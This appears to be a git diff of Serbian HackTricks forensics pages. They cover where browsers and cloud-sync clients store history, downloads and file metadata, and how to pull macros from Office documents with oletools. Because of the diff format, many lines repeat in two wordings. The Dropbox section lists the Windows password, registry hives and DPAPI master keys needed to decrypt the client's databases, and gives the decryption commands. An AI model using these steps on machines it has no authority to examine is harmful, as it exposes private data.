### Detalji preuzimanja
|
||||
Metapodaci o preuzimanjima su dostupni putem [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), pri čemu specifični kontejneri sadrže podatke poput URL-a, tipa fajla i lokacije preuzimanja. Fizički fajlovi se mogu pronaći pod `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
|
||||
### Istorija pretraživanja
|
||||
Za pregled istorije pretraživanja može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), uz zahtev za lokacijom izdvojenih fajlova istorije i konfiguracijom za Internet Explorer. Metapodaci ovde uključuju vreme izmene i pristupa, zajedno sa brojem pristupa. Fajlovi istorije se nalaze u `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
Metapodaci o preuzimanjima su dostupni putem [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), pri čemu specifični kontejneri čuvaju podatke poput URL-a, tipa fajla i lokacije preuzimanja. Fizički fajlovi se mogu pronaći pod `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
|
||||
### Istorija pregledanja
|
||||
|
||||
Za pregled istorije pregledanja, može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), zahtevajući lokaciju izdvojenih fajlova istorije i konfiguraciju za Internet Explorer. Metapodaci ovde uključuju vreme modifikacije i pristupa, zajedno sa brojem pristupa. Fajlovi istorije se nalaze u `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
|
||||
### Uneti URL-ovi
|
||||
Uneti URL-ovi i vremena njihove upotrebe se čuvaju u registru pod `NTUSER.DAT` na lokaciji `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, prateći poslednjih 50 URL-ova unetih od strane korisnika i njihova poslednja vremena unosa.
|
||||
|
||||
Uneti URL-ovi i vremena njihovog korišćenja se čuvaju u registru pod `NTUSER.DAT` na `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, prateći poslednjih 50 URL-ova unetih od strane korisnika i njihova poslednja vremena unosa.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages`. Putanje za različite vrste podataka su:
|
||||
Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages`. Putanje za različite tipove podataka su:
|
||||
|
||||
- **Putanja profila**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **Istorija, kolačići i preuzimanja**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **Podešavanja, obeleživači i lista za čitanje**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan
|
||||
- **Istorija, Kolačići i Preuzimanja**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **Podešavanja, Obeleživači i Lista za čitanje**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
- **Keš**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
- **Poslednje aktivne sesije**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
||||
## Safari
|
||||
|
||||
Podaci iz Safari-ja se čuvaju na lokaciji `/Users/$User/Library/Safari`. Ključni fajlovi uključuju:
|
||||
|
||||
- **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenima poseta. Koristite `sqlite3` za upite.
|
||||
- **Downloads.plist**: Informacije o preuzetim fajlovima.
|
||||
- **Bookmarks.plist**: Čuva URL-ove obeleženih stranica.
|
||||
- **TopSites.plist**: Najposećeniji sajtovi.
|
||||
- **Extensions.plist**: Lista proširenja Safari pregledača. Koristite `plutil` ili `pluginkit` za dobijanje.
|
||||
- **UserNotificationPermissions.plist**: Domeni kojima je dozvoljeno slanje obaveštenja. Koristite `plutil` za parsiranje.
|
||||
- **LastSession.plist**: Tabovi iz poslednje sesije. Koristite `plutil` za parsiranje.
|
||||
- **Ugrađena anti-phishing za pregledač**: Proverite korišćenjem `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odgovor 1 ukazuje na aktivnu funkciju.
|
||||
|
||||
## Opera
|
||||
|
||||
Podaci iz Operinog pregledača se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i dele format istorije i preuzimanja sa Chrome-om.
|
||||
|
||||
- **Ugrađena anti-phishing za pregledač**: Proverite da li je `fraud_protection_enabled` u fajlu Preferences postavljen na `true` korišćenjem `grep`.
|
||||
|
||||
Ove putanje i komande su ključne za pristupanje i razumevanje podataka o pregledanju čuvanih od strane različitih veb pregledača.
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,56 +6,56 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\
|
||||
Danas dobijte pristup:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## OneDrive
|
||||
|
||||
Na Windows-u, OneDrive folder se može pronaći u `\Users\<korisničko_ime>\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` foldera moguće je pronaći datoteku `SyncDiagnostics.log` koja sadrži neke zanimljive podatke u vezi sa sinhronizovanim datotekama:
|
||||
U Windows-u, OneDrive folder se može pronaći u `\Users\<korisničko_ime>\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` moguće je pronaći fajl `SyncDiagnostics.log` koji sadrži neke zanimljive podatke u vezi sa sinhronizovanim fajlovima:
|
||||
|
||||
* Veličina u bajtovima
|
||||
* Datum kreiranja
|
||||
* Datum modifikacije
|
||||
* Broj datoteka u oblaku
|
||||
* Broj datoteka u folderu
|
||||
* Broj fajlova u oblaku
|
||||
* Broj fajlova u folderu
|
||||
* **CID**: Jedinstveni ID OneDrive korisnika
|
||||
* Vreme generisanja izveštaja
|
||||
* Veličina HD-a operativnog sistema
|
||||
* Veličina HD-a OS-a
|
||||
|
||||
Kada pronađete CID, preporučuje se **pretraga datoteka koje sadrže ovaj ID**. Moguće je pronaći datoteke sa imenom: _**\<CID>.ini**_ i _**\<CID>.dat**_ koje mogu sadržati zanimljive informacije poput imena datoteka sinhronizovanih sa OneDrive-om.
|
||||
Kada pronađete CID, preporučljivo je **pretražiti fajlove koji sadrže ovaj ID**. Možda ćete moći pronaći fajlove sa imenima: _**\<CID>.ini**_ i _**\<CID>.dat**_ koji mogu sadržati zanimljive informacije poput imena fajlova sinhronizovanih sa OneDrive-om.
|
||||
|
||||
## Google Drive
|
||||
|
||||
Na Windows-u, glavni Google Drive folder se može pronaći u `\Users\<korisničko_ime>\AppData\Local\Google\Drive\user_default`\
|
||||
Ovaj folder sadrži datoteku nazvanu Sync\_log.log sa informacijama poput adrese e-pošte naloga, imena datoteka, vremenskih oznaka, MD5 heševa datoteka, itd. Čak i obrisane datoteke se pojavljuju u toj log datoteci sa odgovarajućim MD5 vrednostima.
|
||||
U Windows-u, glavni Google Drive folder se može pronaći u `\Users\<korisničko_ime>\AppData\Local\Google\Drive\user_default`\
|
||||
Ovaj folder sadrži fajl nazvan Sync\_log.log sa informacijama poput email adrese naloga, imena fajlova, vremenskih oznaka, MD5 heševa fajlova, itd. Čak i obrisani fajlovi se pojavljuju u tom log fajlu sa odgovarajućim MD5 vrednostima.
|
||||
|
||||
Datoteka **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **datoteka**, vreme izmene, veličinu i MD5 kontrolnu sumu datoteka.
|
||||
Fajl **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **fajlova**, vreme modifikacije, veličinu i MD5 kontrolnu sumu fajlova.
|
||||
|
||||
Podaci tabele baze podataka **`Sync_config.db`** sadrže adresu e-pošte naloga, putanje deljenih foldera i verziju Google Drive-a.
|
||||
Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanje deljenih foldera i verziju Google Drive-a.
|
||||
|
||||
## Dropbox
|
||||
|
||||
Dropbox koristi **SQLite baze podataka** za upravljanje datotekama. U ovim\
|
||||
Baze podataka se mogu pronaći u folderima:
|
||||
Dropbox koristi **SQLite baze podataka** za upravljanje fajlovima. U ovim\
|
||||
Možete pronaći baze podataka u folderima:
|
||||
|
||||
* `\Users\<korisničko_ime>\AppData\Local\Dropbox`
|
||||
* `\Users\<korisničko_ime>\AppData\Local\Dropbox\Instance1`
|
||||
* `\Users\<korisničko_ime>\AppData\Roaming\Dropbox`
|
||||
|
||||
A glavne baze podataka su:
|
||||
Glavne baze podataka su:
|
||||
|
||||
* Sigstore.dbx
|
||||
* Filecache.dbx
|
||||
|
@ -73,51 +73,51 @@ Međutim, glavne informacije su:
|
|||
* **Algoritam**: PBKDF2
|
||||
* **Iteracije**: 1066
|
||||
|
||||
Osim tih informacija, za dešifrovanje baza podataka vam je još uvek potrebno:
|
||||
Osim tih informacija, da biste dešifrovali baze podataka, još uvek vam je potrebno:
|
||||
|
||||
* **Šifrovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne)
|
||||
* **`SYSTEM`** i **`SECURITY`** registarske ključeve
|
||||
* **DPAPI master ključeve**: Koje možete pronaći u `\Users\<korisničko_ime>\AppData\Roaming\Microsoft\Protect`
|
||||
* **Korisničko ime** i **lozinku** Windows korisnika
|
||||
* **`SYSTEM`** i **`SECURITY`** košnice
|
||||
* **DPAPI master ključevi**: Koji se mogu pronaći u `\Users\<korisničko_ime>\AppData\Roaming\Microsoft\Protect`
|
||||
* **korisničko ime** i **šifra** Windows korisnika
|
||||
|
||||
Zatim možete koristiti alatku [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
|
||||
Zatim možete koristiti alat [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
|
||||
|
||||
![](<../../../.gitbook/assets/image (448).png>)
|
||||
|
||||
Ako sve ide kako se očekuje, alatka će pokazati **primarni ključ** koji vam je potreban da biste **obnovili originalni ključ**. Da biste obnovili originalni ključ, jednostavno koristite ovaj [cyber\_chef recept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) stavljajući primarni ključ kao "passphrase" unutar recepta.
|
||||
Ako sve ide kako se očekuje, alat će pokazati **primarni ključ** koji vam je potreban da biste **koristili za oporavak originalnog**. Da biste oporavili originalni, jednostavno koristite ovaj [cyber\_chef recept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) stavljajući primarni ključ kao "lozinku" unutar recepta.
|
||||
|
||||
Dobijeni heksadecimalni kod je konačni ključ koji se koristi za šifrovanje baza podataka koje se mogu dešifrovati sa:
|
||||
Rezultujući heksadecimalni broj je konačni ključ koji se koristi za šifrovanje baza podataka koje se mogu dešifrovati sa:
|
||||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
Baza podataka **`config.dbx`** sadrži:
|
||||
|
||||
* **Email**: Email korisnika
|
||||
* **usernamedisplayname**: Ime korisnika
|
||||
* **dropbox\_path**: Putanja gde se nalazi Dropbox folder
|
||||
* **Host\_id: Hash**: Koristi se za autentifikaciju na oblaku. Može se povući samo sa veba.
|
||||
* **Root\_ns**: Identifikator korisnika
|
||||
- **Email**: Email korisnika
|
||||
- **usernamedisplayname**: Ime korisnika
|
||||
- **dropbox\_path**: Putanja gde se nalazi Dropbox folder
|
||||
- **Host\_id: Hash** korišćen za autentifikaciju na oblaku. Ovo se može opozvati samo preko veba.
|
||||
- **Root\_ns**: Identifikator korisnika
|
||||
|
||||
Baza podataka **`filecache.db`** sadrži informacije o svim datotekama i fasciklama sinhronizovanim sa Dropbox-om. Tabela `File_journal` sadrži najkorisnije informacije:
|
||||
Baza podataka **`filecache.db`** sadrži informacije o svim fajlovima i fasciklama sinhronizovanim sa Dropbox-om. Tabela `File_journal` je ona sa najkorisnijim informacijama:
|
||||
|
||||
* **Server\_path**: Putanja gde se datoteka nalazi na serveru (ova putanja je prethodena `host_id`-om klijenta).
|
||||
* **local\_sjid**: Verzija datoteke
|
||||
* **local\_mtime**: Datum izmene
|
||||
* **local\_ctime**: Datum kreiranja
|
||||
- **Server\_path**: Putanja gde se fajl nalazi unutar servera (ova putanja je prethodjena `host_id`-om klijenta).
|
||||
- **local\_sjid**: Verzija fajla
|
||||
- **local\_mtime**: Datum modifikacije
|
||||
- **local\_ctime**: Datum kreiranja
|
||||
|
||||
Druge tabele u ovoj bazi podataka sadrže još interesantnih informacija:
|
||||
Druge tabele unutar ove baze podataka sadrže još interesantnih informacija:
|
||||
|
||||
* **block\_cache**: heš svih datoteka i fascikli Dropbox-a
|
||||
* **block\_ref**: Povezuje heš ID tabele `block_cache` sa ID-em datoteke u tabeli `file_journal`
|
||||
* **mount\_table**: Deljeni folderi Dropbox-a
|
||||
* **deleted\_fields**: Obrisane datoteke sa Dropbox-a
|
||||
* **date\_added**
|
||||
- **block\_cache**: heš svih fajlova i fascikli Dropbox-a
|
||||
- **block\_ref**: Povezan je ID heša iz tabele `block_cache` sa ID fajla u tabeli `file_journal`
|
||||
- **mount\_table**: Deljeni folderi Dropbox-a
|
||||
- **deleted\_fields**: Obrisani fajlovi sa Dropbox-a
|
||||
- **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -127,10 +127,10 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
- Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
- Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
- Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
- **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,42 +6,40 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Danas dobijte pristup:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
Za dodatne informacije pogledajte [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak:
|
||||
|
||||
Za dalje informacije proverite [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak:
|
||||
Microsoft je kreirao mnogo formata kancelarijskih dokumenata, sa dva glavna tipa **OLE formata** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formata** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu uključivati makroe, čineći ih metama za phishing i malware. OOXML fajlovi su strukturirani kao zip kontejneri, što omogućava inspekciju putem dekompresije, otkrivajući strukturu fajlova i foldera i sadržaj XML fajlova.
|
||||
|
||||
Za istraživanje struktura OOXML fajlova, dat je komanda za dekompresiju dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim fajlovima su dokumentovane, što ukazuje na stalnu inovaciju u skrivanju podataka u okviru CTF izazova.
|
||||
|
||||
Microsoft je kreirao mnogo formata za office dokumente, pri čemu su dva glavna tipa **OLE formati** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formati** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu sadržati makroe, što ih čini metama za phishing i malver. OOXML fajlovi su strukturirani kao zip kontejneri, što omogućava inspekciju kroz dekompresiju, otkrivajući hijerarhiju fajlova i foldera i sadržaj XML fajlova.
|
||||
Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne setove alata za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malvera, obično preuzimajući i izvršavajući dodatne zlonamerne sadržaje. Analiza VBA makroa može se sprovesti bez Microsoft Office-a korišćenjem Libre Office-a, što omogućava debagovanje sa prekidnim tačkama i promenljivim vrednostima.
|
||||
|
||||
Za istraživanje struktura OOXML fajlova, daje se komanda za dekompresiju dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim fajlovima su dokumentovane, što ukazuje na kontinuiranu inovaciju u prikrivanju podataka u okviru CTF izazova.
|
||||
|
||||
Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne alate za ispitivanje kako OLE, tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malvera, obično preuzimanje i izvršavanje dodatnih zlonamernih payloada. Analiza VBA makroa može se izvršiti bez Microsoft Office-a korišćenjem Libre Office-a, koji omogućava debagovanje sa prekidnim tačkama i promenljivim vrednostima.
|
||||
|
||||
Instalacija i korišćenje **oletools**-a su jednostavni, sa pruženim komandama za instalaciju putem pip-a i izdvajanje makroa iz dokumenata. Automatsko izvršavanje makroa pokreće se funkcijama poput `AutoOpen`, `AutoExec` ili `Document_Open`.
|
||||
Instalacija i korišćenje **oletools**-a su jednostavni, sa komandama za instalaciju putem pip-a i izdvajanje makroa iz dokumenata. Automatsko izvršavanje makroa pokreće se funkcijama poput `AutoOpen`, `AutoExec`, ili `Document_Open`.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** podržane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -51,10 +49,10 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,36 +6,36 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
